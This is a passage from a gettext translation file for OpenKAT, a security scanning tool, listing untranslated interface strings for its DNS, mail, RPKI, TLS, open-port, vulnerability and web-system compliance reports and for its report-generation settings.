\"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"\"\n\n#: 